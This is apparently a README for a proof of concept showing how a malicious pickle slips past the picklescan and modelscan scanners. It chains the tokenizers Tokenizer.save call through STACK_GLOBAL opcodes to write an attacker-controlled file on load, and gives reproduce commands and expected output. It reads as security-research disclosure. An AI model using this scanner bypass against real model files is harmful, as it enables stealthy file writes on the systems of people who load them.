hacnho/tokenizers-save-scanner-bypass-poc

Hugging Face Tokenizer.save pickle scanner bypass PoC

This repository contains a minimal malicious pickle that bypasses both picklescan==1.0.4 and modelscan==0.8.8, then writes an attacker-controlled Hugging Face tokenizer JSON file during normal pickle.load().

The pickle uses raw STACK_GLOBAL opcodes for:

tokenizers.models WordLevel
tokenizers Tokenizer
tokenizers Tokenizer.save

It does not use builtins.getattr, os, subprocess, eval, or any global currently blocked by picklescan 1.0.4.

Reproduce

python3 -m venv /tmp/tokenizers-save-scanner-bypass-venv
/tmp/tokenizers-save-scanner-bypass-venv/bin/python -m pip install --upgrade pip
/tmp/tokenizers-save-scanner-bypass-venv/bin/python -m pip install -r requirements.txt
/tmp/tokenizers-save-scanner-bypass-venv/bin/python reproduce_tokenizers_save_scanner_bypass.py

Expected output:

picklescan_clean=True
modelscan_clean=True
load_success=True
marker_exists=True
content_matches=True
REPRO_OK

The marker file is written to:

/tmp/mfv_tokenizers_save_scanner_bypass_20260624.json

Expected marker content is a valid WordLevel tokenizer JSON with attacker-controlled vocab:

{
  "model": {
    "type": "WordLevel",
    "vocab": {
      "owned": 0,
      "[UNK]": 1
    },
    "unk_token": "[UNK]"
  }
}